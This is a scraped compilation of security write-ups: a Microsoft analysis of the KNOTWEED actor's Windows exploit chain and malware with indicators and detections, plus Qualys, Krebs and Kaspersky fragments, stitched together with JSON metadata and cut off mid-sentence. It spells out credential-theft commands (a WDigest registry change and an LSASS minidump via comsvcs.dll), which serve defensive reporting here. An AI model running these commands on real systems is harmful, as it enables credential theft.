CVE-2022-22047 vulnerability is related to an issue with [activation context](<https://docs.microsoft.com/windows/win32/sbscs/activation-contexts>) caching in the Client Server Run-Time Subsystem (CSRSS) on Windows. At a high level, the vulnerability could enable an attacker to provide a crafted assembly manifest, which would create a malicious activation context in the activation context cache, for an arbitrary process. This cached context is used the next time the process spawned.\n\nCVE-2022-22047 was used in KNOTWEED related attacks for privilege escalation. The vulnerability also provided the ability to escape sandboxes (with some caveats, as discussed below) and achieve system-level code execution. The exploit chain starts with writing a malicious DLL to disk from the sandboxed Adobe Reader renderer process. The CVE-2022-22047 exploit was then used to target a system process by providing an application manifest with an undocumented attribute that specified the path of the malicious DLL. Then, when the system process next spawned, the attribute in the malicious activation context was used, the malicious DLL was loaded from the given path, and system-level code execution was achieved.\n\nIt&#x27;s important to note that exploiting CVE-2022-22047 requires attackers to be able to write a DLL to disk. However, in the threat model of sandboxes, such as that of Adobe Reader and Chromium, the ability to write out files where the attacker _cannot_ control the path isn\u2019t considered dangerous. Hence, these sandboxes aren\u2019t a barrier to the exploitation of CVE-2022-22047.\n\n#### KNOTWEED exploits in 2021\n\nIn 2021, MSRC received a report of two Windows privilege escalation exploits ([CVE-2021-31199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199>) and [CVE-2021-31201](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201>)) being used in conjunction with an Adobe Reader exploit ([CVE-2021-28550](<https://helpx.adobe.com/security/products/acrobat/apsb21-29.html>)), all of which were patched in June 2021. MSTIC was able to confirm the use of these in an exploit chain used to deploy Subzero.\n\nWe were later able to link the deployment of Subzero to a fourth exploit, one related to a Windows privilege escalation vulnerability in the Windows Update Medic Service ([CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>)), which allowed an attacker to force the service to load an arbitrary signed DLL. The malicious DLL used in the attacks was signed by \u2018DSIRF GmbH\u2019.\n\nFigure 1. Valid digital signature from DSIRF on Medic Service exploit DLL\n\n#### Malicious Excel documents\n\nIn addition to the exploit chains, another method of access that led to the deployment of Subzero was an Excel file masquerading as a real estate document. The file contained a malicious macro that was obfuscated with large chunks of benign comments from the Kama Sutra, string obfuscation, and use of Excel 4.0 macros.\n\n Figure 2: Two examples of KNOTWEED Excel macro obfuscation\n\nAfter de-obfuscating strings at runtime, the VBA macro uses the _ExecuteExcel4Macro_ function to call native Win32 functions to load shellcode into memory allocated using _VirtualAlloc_. Each opcode is individually copied into a newly allocated buffer using _memset_ before _CreateThread_ is called to execute the shellcode.\n\nFigure 3: Copying opcodes Figure 4: Calling CreateThread on shellcode\n\nThe following section describes the shellcode executed by the macro.\n\n### KNOTWEED malware and tactics, techniques, and procedures (TTPs)\n\n#### Corelump downloader and loader shellcode\n\nThe downloader shellcode is the initial shellcode executed from either the exploit chains or malicious Excel documents. The shellcode&#x27;s purpose is to retrieve the _Corelump_ second-stage malware from the actor\u2019s command-and-control (C2) server. The downloader shellcode downloads a JPEG image that contains extra encrypted data appended to the end of the file (past the _0xFF 0xD9_ marker that signifies the end of a JPEG file). The JPEG is then written to the user\u2019s _%TEMP%_ directory.\n\nFigure 5: One of the images embedded with the loader shellcode and Corelump\n\nThe downloader shellcode searches for a 16-byte marker immediately following the end of JPEG. After finding the marker, the downloader shellcode RC4 decrypts the loader shellcode using the next 16 bytes as the RC4 key. Finally, the loader shellcode RC4 decrypts the _Corelump_ malware using a second RC4 key and manually loads it into memory.\n\n#### Corelump malware\n\n_Corelump _is the main payload and resides exclusively in memory to evade detection. It contains a variety of capabilities including keylogging, capturing screenshots, exfiltrating files, running a remote shell, and running arbitrary plugins downloaded from KNOTWEED\u2019s C2 server.\n\nAs part of installation, _Corelump_ makes copies of legitimate Windows DLLs and overwrites sections of them with malicious code. As part of this process, _Corelump_ also modifies the fields in the PE header to accommodate the nefarious changes, such as adding new exported functions, disabling [Control Flow Guard](<https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard>), and modifying the image file checksum with a computed value from _CheckSumMappedFile._ These trojanized binaries (_Jumplump_) are dropped to disk in _C:\\Windows\\System32\\spool\\drivers\\color\\_, and COM registry keys are modified for persistence (see the Behaviors section for more information on COM hijacking).\n\n#### Jumplump loader\n\n_Jumplump _is responsible for loading _Corelump _into memory from the JPEG file in the %TEMP% directory. If _Corelump_ is not present, _Jumplump_ attempts to download it again from the C2 server. Both_ Jumplump _and the downloader shellcode are heavily obfuscated to make analysis difficult, with most instructions being followed by a jmp to another instruction/jmp combination, giving a convoluted control flow throughout the program.\n\nFigure 6: Disassembly showing the jmp/instruction obfuscation used in Jumplump\n\n#### Mex and PassLib\n\nKNOTWEED was also observed using the bespoke utility tools Mex and PassLib. These tools are developed by KNOTWEED and bear capabilities that are derived from publicly available sources. Mex, for example, is a command-line tool containing several red teaming or security plugins copied from GitHub (listed below):\n\n[Chisel](<https://github.com/jpillora/chisel>)| [mimikatz](<https://github.com/ParrotSec/mimikatz>)| [SharpHound3](<https://github.com/BloodHoundAD/SharpHound3>) \n---|---|--- \n[Curl](<https://github.com/curl/curl>)| [Ping Castle](<https://github.com/vletoux/pingcastle>)| [SharpOxidResolver](<https://github.com/S3cur3Th1sSh1t/SharpOxidResolver>) \n[Grouper2](<https://github.com/l0ss/Grouper2>)| [Rubeus](<https://github.com/GhostPack/Rubeus>)| [PharpPrinter](<https://github.com/rvrsh3ll/SharpPrinter>) \n[Internal Monologue](<https://github.com/eladshamir/Internal-Monologue>)| [SCShell](<https://github.com/Mr-Un1k0d3r/SCShell>)| [SpoolSample](<https://github.com/leechristensen/SpoolSample>) \n[Inveigh](<https://github.com/Kevin-Robertson/Inveigh>)| [Seatbelt](<https://github.com/GhostPack/Seatbelt>)| [StandIn](<https://github.com/FuzzySecurity/StandIn>) \n[Lockless](<https://github.com/GhostPack/Lockless>)| [SharpExec](<https://github.com/anthemtotheego/SharpExec>)| \n \nPassLib is a custom password stealer tool capable of dumping credentials from a variety of sources including web browsers, email clients, LSASS, LSA secrets, and the Windows credential manager.\n\n#### Post-compromise actions\n\nIn victims where KNOTWEED malware had been used, a variety of post-compromise actions were observed:\n\n * Setting of _UseLogonCredential _to \u201c1\u201d to enable plaintext credentials:\n * _reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f_\n * Credential dumping via _comsvcs.dll_:\n * _rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump_\n * Attempt to access emails with dumped credentials from a KNOTWEED IP address\n * Using Curl to download KNOTWEED tooling from public file shares such as _vultrobjects[.]com_\n * Running PowerShell scripts directly from a GitHub gist created by an account associated with DSIRF\n\n### KNOTWEED infrastructure connections to DSIRF\n\nPivoting off a known command-and-control domain identified by MSTIC, _acrobatrelay[.]com_, RiskIQ expanded the view of KNOTWEED&#x27;s attack infrastructure. Leveraging unique patterns in the use of SSL certificates and other network fingerprints specific to the group and associated with that domain, RiskIQ identified a host of additional IP addresses under the control of KNOTWEED. This infrastructure, largely hosted by Digital Ocean and Choopa, has been actively serving malware since at least February of 2020 and continues through the time of this writing.\n\nRiskIQ next utilized passive DNS data to determine which domains those IPs resolved to at the time they were malicious. This process yielded several domains with direct links to DSIRF, including _demo3[.]dsirf[.]eu_ (the company&#x27;s own website), and several subdomains that appear to have been used for malware development, including _debugmex[.]dsirflabs[.]eu_ (likely a server used for debugging malware with the bespoke utility tool Mex) and _szstaging[.]dsirflabs[.]eu_ (likely a server used to stage Subzero malware).\n\n## Detection and prevention\n\nMicrosoft will continue to monitor KNOTWEED activity and implement protections for our customers. The current detections and IOCs detailed below are in place and protecting Microsoft customers across our security products. Additional advanced hunting queries are also provided below to help organizations extend their protections and investigations of these attacks.\n\n### Behaviors\n\n_Corelump _drops the_ Jumplump_ loader DLLs to _C:\\Windows\\System32\\spool\\drivers\\color\\\\. _This is a common directory used by malware as well as some legitimate programs, so writes of PE files to the folder should be monitored.\n\n_Jumplump_ uses COM hijacking for persistence, modifying COM registry keys to point to the _Jumplump_ DLL in _C:\\Windows\\System32\\spool\\drivers\\color\\_. Modifications of default system CLSID values should be monitored to detect this technique (e.g., _HKLM\\SOFTWARE\\Classes\\CLSID\\\\{GUID}\\InProcServer32 Default_ value). The five CLSIDs used by _Jumplump_ are listed below with their original clean values on Windows 11:\n\n * {ddc05a5a-351a-4e06-8eaf-54ec1bc2dcea} = &quot;_%SystemRoot%\\System32\\ApplicationFrame.dll_&quot;\n * {1f486a52-3cb1-48fd-8f50-b8dc300d9f9d} = &quot;_%SystemRoot%\\system32\\propsys.dll_&quot;\n * {4590f811-1d3a-11d0-891f-00aa004b2e24} = &quot;_%SystemRoot%\\system32\\wbem\\wbemprox.dll_&quot;\n * {4de225bf-cf59-4cfc-85f7-68b90f185355} = &quot;_%SystemRoot%\\system32\\wbem\\wmiprvsd.dll_&quot;\n * {F56F6FDD-AA9D-4618-A949-C1B91AF43B1A} = &quot;_%SystemRoot%\\System32\\Actioncenter.dll_&quot;\n\nMany of the post-compromise actions can be detected based on their command lines. Customers should monitor for possible malicious activity such as PowerShell executing scripts from internet locations, modification of commonly abused registry keys such as _HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest, _and LSASS credential dumping via minidumps.\n\n## Recommended customer actions\n\nThe techniques used by the actor and described in the Observed actor activity section can be mitigated by adopting the security considerations provided below:\n\n * All customers should prioritize patching of [CVE-2022-22047](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22047>).\n * Confirm that Microsoft Defender Antivirus is updated to security intelligence update **1.371.503.0** or later to detect the related indicators.\n * Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion.\n * [Change Excel macro security settings](<https://support.microsoft.com/office/change-macro-security-settings-in-excel-a97c09d2-c082-46b8-b19f-e8621e8fe373>) to control which macros run and under what circumstances when you open a workbook. Customers can also [stop malicious XLM or VBA macros](<https://www.microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware/>) by ensuring runtime macro scanning by Antimalware Scan Interface ([AMSI](<https://docs.microsoft.com/windows/win32/amsi/antimalware-scan-interface-portal>)) is on. This feature\u2014enabled by default\u2014is on if the Group Policy setting for Macro Run Time Scan Scope is set to \u201cEnable for All Files\u201d or \u201cEnable for Low Trust Files\u201d.\n * Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity. _Note:_ Microsoft strongly encourages all customers download and use password-less solutions like [Microsoft Authenticator](<https://www.microsoft.com/account/authenticator/>) to secure accounts.\n * Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.\n\n## Indicators of compromise (IOCs)\n\nThe following list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems. All sample hashes are available in VirusTotal.\n\nIndicator| Type| Description \n---|---|--- \n78c255a98003a101fa5ba3f49c50c6922b52ede601edac5db036ab72efc57629| SHA-256| Malicious Excel document and VBA \n0588f61dc7e4b24554cffe4ea56d043d8f6139d2569bc180d4a77cf75b68792f| SHA-256| Malicious Excel document and VBA \n441a3810b9e89bae12eea285a63f92e98181e9fb9efd6c57ef6d265435484964| SHA-256| Jumplump malware \ncbae79f66f724e0fe1705d6b5db3cc8a4e89f6bdf4c37004aa1d45eeab26e84b| SHA-256| Jumplump malware \nfd6515a71530b8329e2c0104d0866c5c6f87546d4b44cc17bbb03e64663b11fc| SHA-256| Jumplump malware \n5d169e083faa73f2920c8593fb95f599dad93d34a6aa2b0f794be978e44c8206| SHA-256| Jumplump malware \n7f29b69eb1af1cc6c1998bad980640bfe779525fd5bb775bc36a0ce3789a8bfc| SHA-256| Jumplump malware \n02a59fe2c94151a08d75a692b550e66a8738eb47f0001234c600b562bf8c227d| SHA-256| Jumplump malware \n7f84bf6a016ca15e654fb5ebc36fd7407cb32c69a0335a32bfc36cb91e36184d| SHA-256| Jumplump malware \nafab2e77dc14831f1719e746042063a8ec107de0e9730249d5681d07f598e5ec| SHA-256| Jumplump malware \n894138dfeee756e366c65a197b4dbef8816406bc32697fac6621601debe17d53| SHA-256| Jumplump malware \n4611340fdade4e36f074f75294194b64dcf2ec0db00f3d958956b4b0d6586431| SHA-256| Jumplump malware \nc96ae21b4cf2e28eec222cfe6ca903c4767a068630a73eca58424f9a975c6b7d| SHA-256| Corelump malware \nfa30be45c5c5a8f679b42ae85410f6099f66fe2b38eb7aa460bcc022babb41ca| SHA-256| Mex tool \ne64bea4032cf2694e85ede1745811e7585d3580821a00ae1b9123bb3d2d442d6| SHA-256| Passlib tool \nacrobatrelay[.]com__| Domain| C2 \nfinconsult[.]cc| Domain| C2 \nrealmetaldns[.]com| Domain| C2 \n \n**NOTE:** These indicators should not be considered exhaustive for this observed activity.\n\n## Detections\n\n### Microsoft Defender Antivirus\n\nMicrosoft Defender Antivirus detects the malware tools and implants used by KNOTWEED starting with signature build **1.371.503.0** as the following family names:\n\n * _Backdoor:O97M/JumplumpDropper_\n * _Trojan:Win32/Jumplump_\n * _Trojan:Win32/Corelump_\n * _HackTool:Win32/Mexlib_\n * _Trojan:Win32/Medcerc_\n * _Behavior:Win32/SuspModuleLoad_\n\n### Microsoft Defender for Endpoint\n\nMicrosoft Defender for Endpoint customers may see the following alerts as an indication of a possible attack.

\u201cThreat Research Thursday\u201d where we collect and curate notable new tools, techniques, procedures, threat intelligence, cybersecurity news, malware attacks, and more. We will endeavor to issue these update reports regularly, as often as every other week, or as our threat intelligence output warrants. \n\n\n\n## Threat Intelligence from the Qualys Blog\n\nHere is a roundup of the most interesting blogs from the Qualys Research Team from the past couple of weeks: \n\n * New Qualys Research Report: [Evolution of Quasar RAT](<https://blog.qualys.com/vulnerabilities-threat-research/2022/07/29/new-qualys-research-report-evolution-of-quasar-rat>) \u2013 This free downloadable report gives a sneak peek of the detailed webinar topic that Qualys Threat Research team\u2019s Linux EDR expert Viren Chaudari will be presenting on our upcoming [Threat Thursdays webinar](<https://event.on24.com/wcc/r/3925198/52A4000CBD17D2B16AFD5F56B3C9D15A>). \n * Here\u2019s a [Simple Script to Detect the Stealthy Nation-State BPFDoor](<https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor>) \u2013 In this blog we explain how a simple script can detect a BPFDoor. \n * Introducing [Qualys CyberSecurity Asset Management 2.0](<https://www.qualys.com/apps/cybersecurity-asset-management/>) with natively integrated [External Attack Surface Management](<https://blog.qualys.com/qualys-insights/2022/07/28/attack-surface-management-a-critical-pillar-of-cybersecurity-asset-management>) \u2013 This is big news! We offer one of only a few solutions on the market that empower cybersecurity teams to manage internal and external assets at the same time! For our existing customers, [Qualys CSAM API Best Practices](<https://blog.qualys.com/product-tech/2022/08/05/qualys-api-best-practices-cybersecurity-asset-management-api>) should be a good starting point for playing with our extensive list of APIs. \n * [August 2022 Patch Tuesday](<https://blog.qualys.com/vulnerabilities-threat-research/2022/08/09/august-2022-patch-tuesday>) \u2013 Microsoft and the second Tuesday of the month are inseparable (except that one time in 2017 just before the Equation Group leak!) This is our regular monthly coverage of the vulnerabilities that Microsoft and Adobe fixed this month. \n\n## New Threat Hunting Tools &amp; Techniques\n\n**Sysmon v14.0, AccessEnum v1.34, and Coreinfo v3.53**: This is a major update to Sysmon that adds a new `event ID 27 - FileBlockExecutable` that prevents processes from creating executable files in specified locations. What this means is if you want to block certain files from executing in a certain directory, you can do so. [Get these tools &amp; updates](<https://docs.microsoft.com/en-us/sysinternals/downloads/>). \n\n**Bomber: **All of us know how important software bills of materials (SBOMs) are, and the vulnerabilities that affect them even more so. This open-source repository tool that we\u2019ve evaluated will help you scan JSON formatted SBOM files to point out any vulnerabilities they may have. [Check out Bomber](<https://github.com/devops-kung-fu/bomber>). \n\n**Alan C2 Framework:** Until recently, this command &amp; control (C2) framework \u2013 even though it was hosted on GitHub \u2013 was closed source. You could download it and test it for free, but not inspect its source code unless you decompiled it. Now the source code has been made available. For example, you can now look at the [certificate information](<https://github.com/enkomio/AlanFramework/blob/8134494037435c5e6478409447efe41f563e0688/src/client/mbedtls/tests/data_files/dir-maxpath/c20.pem>) and add it to your detection pipeline if you have not already done so. [Access the Alan C2 Framework source code](<https://github.com/enkomio/AlanFramework>). \n\n**FISSURE**: This interesting Radio Frequency (RF) framework was released as open source at the recently concluded DEFCONference. With this reverse engineering RF framework, you can detect, classify signals, execute attacks, discover protocols, and analyze vulnerabilities. A lot can be done with this tool! [Check out FISSURE](<https://github.com/ainfosec/FISSURE>). \n\n**Sub7 Legacy**: The source code to your favorite trojan from the not-so-recent past is now available. Well, not really. This is a complete remake of the trojan from the early 2000\u2019s. The look &amp; feel is still the same \u2013 minus the malicious features, but it does make one nostalgic. Here\u2019s hoping that threat actor groups don\u2019t use this Delphi source code for new and nefarious use cases! [Check out the new Sub7 Legacy](<https://github.com/DarkCoderSc/SubSeven>). \n\n**Hashview**: What do you do when you dump a hash via Mimikatz and want to crack it? In a team engagement, a tool like Hashview can help. It allows you to automate hashcat, retroactively crack hashes, and get notifications on a particular event. [Check out the Hashview source code](<https://github.com/hashview/hashview>). \n\n**Center for Internet Security: **CIS published their August update for the [End-of-Support Software Report List](<https://www.cisecurity.org/insights/blog/end-of-support-software-report-list>). Use it coupled with Qualys CSAM to stay updated on software that\u2019s no longer vendor supported. \n\n## New Vulnerabilities \n\n[**CVE-2022-34301**](<https://nvd.nist.gov/vuln/detail/CVE-2022-34301>)/[**CVE-2022-34302**](<https://nvd.nist.gov/vuln/detail/CVE-2022-34302>)/[**CVE-2022-34303**](<https://nvd.nist.gov/vuln/detail/CVE-2022-34303>) \u2013 Not much was known about these bootloader vulnerabilities when they were first disclosed as part of Microsoft Patch Tuesday. New research about these vulnerabilities was [presented at DEFCON](<https://eclypsium.com/2022/08/11/vulnerable-bootloaders-2022/>) pointing towards weaknesses in third-party code signed by Microsoft. Special care must be given to fixing these vulnerabilities, as manual intervention is required for complete remediation. \n\n[**CVE-2022-30209**](<https://nvd.nist.gov/vuln/detail/CVE-2022-30209>) \u2013 Fresh off of its disclosure at Black Hat USA 2022, this _IIS authentication bypass vulnerability_ discovered by Devcore, is [introduced](<https://twitter.com/orange_8361/status/1557504677050478594?s=20&t=KnnUPgzWitsV-dCEdSeCjA>) because of a logic error as a result of improper copy/pasting of variable names. Qualys VMDR customers can find unpatched devices in their networks by looking for QID 91922 in their results. \n\n[**CVE-2022-22047**](<https://nvd.nist.gov/vuln/detail/CVE-2022-22047>) - This Windows client/server runtime subsystem (CSRSS) _elevation of privilege vulnerability_ affects almost all Windows versions, including v7, 8.1, 10, 11, and Windows Server 2008, 2012, 2016, 2019, and 2022! QIDs 91922 and 91927 should be of interest to current Qualys VMDR customers. \n\n[**CVE-2022-26138**](<https://nvd.nist.gov/vuln/detail/CVE-2022-26138>) \u2013 The Confluence Questions app, when installed will create a `disabledsystemuser `user with a known and now _publicized hardcoded password_. Post exploitation, bad actors can read the pages accessible by the confluence-users group. \n\n[**CVE-2022-26501**](<https://nvd.nist.gov/vuln/detail/CVE-2022-26501>) \u2013 Proof-of-concept code for this _unauthenticated remote code execution_ vulnerability affecting Veeam Distribution Service (VDS) has been available for more than four months now. When last checked on Shodan, there were more than 18,000 publicly facing devices that host Veeam Backup Services. \n\n## Introducing the Monthly Threat Thursdays Webinar \n\nPlease join us for the first [Threat Thursdays monthly webinar](<https://event.on24.com/wcc/r/3925198/52A4000CBD17D2B16AFD5F56B3C9D15A>) where the Qualys Threat Research Team will present the latest threat intelligence\u2026 each and every month! \n\n[REGISTER NOW](<https://event.on24.com/wcc/r/3925198/52A4000CBD17D2B16AFD5F56B3C9D15A>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-01T21:00:00", "type": "qualysblog", "title": "Introducing Qualys Threat Research Thursdays", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22047", "CVE-2022-26138", "CVE-2022-26501", "CVE-2022-30209", "CVE-2022-34301", "CVE-2022-34302", "CVE-2022-34303"], "modified": "2022-09-01T21:00:00", "id": "QUALYSBLOG:AE4AA7402829D66599C8A25E83DD0FD2", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-15T23:58:32", "description": "# **Microsoft Patch Tuesday Summary**\n\nMicrosoft has fixed 84 vulnerabilities (aka flaws) in the July 2022 update, including four (4) vulnerabilities classified as **_Critical_** as they allow Remote Code Execution (RCE).

The software giant also has made a controversial decision to put the brakes on a plan to block **macros** in **Office** documents downloaded from the Internet.\n\n\n\nIn February, security experts hailed Microsoft&#x27;s decision to block VBA macros in all documents downloaded from the Internet. The company said it would roll out the changes in stages between April and June 2022.\n\nMacros have long been a trusted way for cybercrooks to trick people into running malicious code. Microsoft Office by default warns users that enabling macros in untrusted documents is a security risk, but those warnings can be easily disabled with the click of button. Under Microsoft&#x27;s plan, the new warnings provided no such way to enable the macros.\n\nAs _Ars Technica_ veteran reporter **Dan Goodin** [put it](<https://arstechnica.com/information-technology/2022/07/microsoft-makes-major-course-reversal-allows-office-to-run-untrusted-macros/>), &quot;security professionals\u2014some who have spent the past two decades watching clients and employees get infected with ransomware, wipers, and espionage with frustrating regularity\u2014cheered the change.&quot;\n\nBut last week, Microsoft abruptly changed course. As [first reported](<https://www.bleepingcomputer.com/news/microsoft/microsoft-rolls-back-decision-to-block-office-macros-by-default/>) by _BleepingComputer_, Redmond said it would roll back the changes based on feedback from users.\n\n&quot;While Microsoft has not shared the negative feedback that led to the rollback of this change, users have reported that they are unable to find the Unblock button to remove the Mark-of-the-Web from downloaded files, making it impossible to enable macros,&quot; Bleeping&#x27;s **Sergiu Gatlan** wrote.\n\nMicrosoft later said the decision to roll back turning off macros by default was temporary, although it has not indicated when this important change might be made for good.\n\nThe zero-day Windows vulnerability already seeing active attacks is [CVE-2022-22047](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22047>), which is an elevation of privilege vulnerability in all supported versions of Windows. Trend Micro&#x27;s **Zero Day Initiative** notes that while this bug is listed as being under active attack, there\u2019s no information from Microsoft on where or how widely it is being exploited.\n\n&quot;The vulnerability allows an attacker to execute code as SYSTEM, provided they can execute other code on the target,&quot; ZDI&#x27;s Dustin Childs [wrote](<https://www.zerodayinitiative.com/blog/2022/7/12/the-july-2022-security-update-review>). &quot;Bugs of this type are typically paired with a code execution bug, usually a specially crafted Office or Adobe document, to take over a system. These attacks often rely on macros, which is why so many were disheartened to hear Microsoft\u2019s delay in blocking all Office macros by default.&quot;\n\n**Kevin Breen**, director of cyber threat research at **Immersive Labs**, said CVE-2022-22047 is the kind of vulnerability that is typically seen abused after a target has already been compromised.\n\n&quot;Crucially, it allows the attacker to escalate their permissions from that of a normal user to the same permissions as the SYSTEM,&quot; he said. &quot;With this level of access, the attackers are able to disable local services such as Endpoint Detection and Security tools. With SYSTEM access they can also deploy tools like Mimikatz which can be used to recover even more admin and domain level accounts, spreading the threat quickly.&quot;\n\nAfter a brief reprieve from patching serious security problems in the **Windows Print Spooler** service, we are back to business as usual. July&#x27;s patch batch contains fixes for four separate elevation of privilege vulnerabilities in Windows Print Spooler, identified as [CVE-2022-22022](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22022>), [CVE-2022-22041](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22041>), [CVE-2022-30206](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30206>), and [CVE-2022-30226](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30226>). Experts at security firm **Tenable** note that these four flaws provide attackers with the ability to delete files or gain SYSTEM level privileges on a vulnerable system.\n\nRoughly a third of the patches issued today involve weaknesses in Microsoft&#x27;s Azure Site Recovery offering. Other components seeing updates this month include **Microsoft Defender for Endpoint**; **Microsoft Edge** (Chromium-based); **Office**; **Windows BitLocker**; **Windows Hyper-V**; **Skype for Business** and **Microsoft Lync**; and **Xbox**.\n\nFour of the flaws fixed this month address vulnerabilities Microsoft rates &quot;critical,&quot; meaning they could be used by malware or malcontents to assume remote control over unpatched Windows systems, usually without any help from users. [CVE-2022-22029](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22029>) and [CVE-2022-22039](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22039>) affect Network File System (NFS) servers, and [CVE-2022-22038](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22038>) affects the Remote Procedure Call (RPC) runtime.\n\n&quot;Although all three of these will be relatively tricky for attackers to exploit due to the amount of sustained data that needs to be transmitted, administrators should patch sooner rather than later,&quot; said **Greg Wiseman**, product manager at **Rapid7**. &quot;[CVE-2022-30221](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30221>) supposedly affects the Windows Graphics Component, though Microsoft\u2019s FAQ indicates that exploitation requires users to access a malicious RDP server.&quot;\n\nSeparately, Adobe today [issued patches](<https://helpx.adobe.com/security.html>) to address at least 27 vulnerabilities across multiple products, including **Acrobat** and **Reader**, **Photoshop**, **RoboHelp**, and **Adobe Character Animator**.\n\nFor a closer look at the patches released by Microsoft today and indexed by severity and other metrics, check out the [always-useful Patch Tuesday roundup](<https://isc.sans.edu/forums/diary/Microsoft%20July%202022%20Patch%20Tuesday/28838/>) from the **SANS Internet Storm Center**. And it\u2019s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: [AskWoody.com](<https://www.askwoody.com/>) usually has the lowdown on any patches that may be causing problems for Windows users.\n\nAs always, please consider backing up your system or at least your important documents and data before applying system updates. And if you run into any problems with these updates, please drop a note about it here in the comments.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-07-13T01:02:49", "type": "krebs", "title": "Microsoft Patch Tuesday, July 2022 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22022", "CVE-2022-22029", "CVE-2022-22038", "CVE-2022-22039", "CVE-2022-22041", "CVE-2022-22047", "CVE-2022-30206", "CVE-2022-30221", "CVE-2022-30226"], "modified": "2022-07-13T01:02:49", "id": "KREBS:4D5B2D5FA1A6E077B46D7F3051319E72", "href": "https://krebsonsecurity.com/2022/07/microsoft-patch-tuesday-july-2022-edition/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "kaspersky": [{"lastseen": "2023-03-21T08:20:34", "description": "### *Detect date*:\n07/12/2022\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Products (Extended Security Update).

LockBit themselves attributed the leakage to one of their developers&#x27; personal initiative, not the group&#x27;s getting hacked. One way or another, the LockBit 3.0 build kit is now accessible to the broader cybercriminal community. Similarly to other ransomware families in the past, such as Babuk and Conti, Trojan builds generated with the leaked builder began to serve other groups unrelated to LockBit. One example was Bloody/Bl00dy [spotted back in May](<https://www.bleepingcomputer.com/news/security/leaked-lockbit-30-builder-used-by-bl00dy-ransomware-gang-in-attacks/>). A borrower rather than a creator, this group added the freshly available LockBit to its arsenal in September 2022.\n\nMass attacks on NAS (network attached storage) devices continue. QNAP issued warnings about Checkmate and Deadbolt infections in Q3 2022. The [former](<https://www.qnap.com/en/security-advisory/QSA-22-21>) threatened files accessible from the internet over SMB protocol and protected by a weak account password. The latter [attacked](<https://www.qnap.com/en/security-news/2022/take-immediate-action-to-update-photo-station-to-the-latest-available-version>) devices that had a vulnerable version of the Photo Station software installed. Threats that target NAS remain prominent, so we recommend keeping these devices inaccessible from the internet to ensure maximum safety of your data.\n\nThe United States Department of Justice [announced](<https://www.justice.gov/opa/pr/justice-department-seizes-and-forfeits-approximately-500000-north-korean-ransomware-actors>) that it had teamed up with the FBI to seize about $500,000 paid as ransom after a Maui 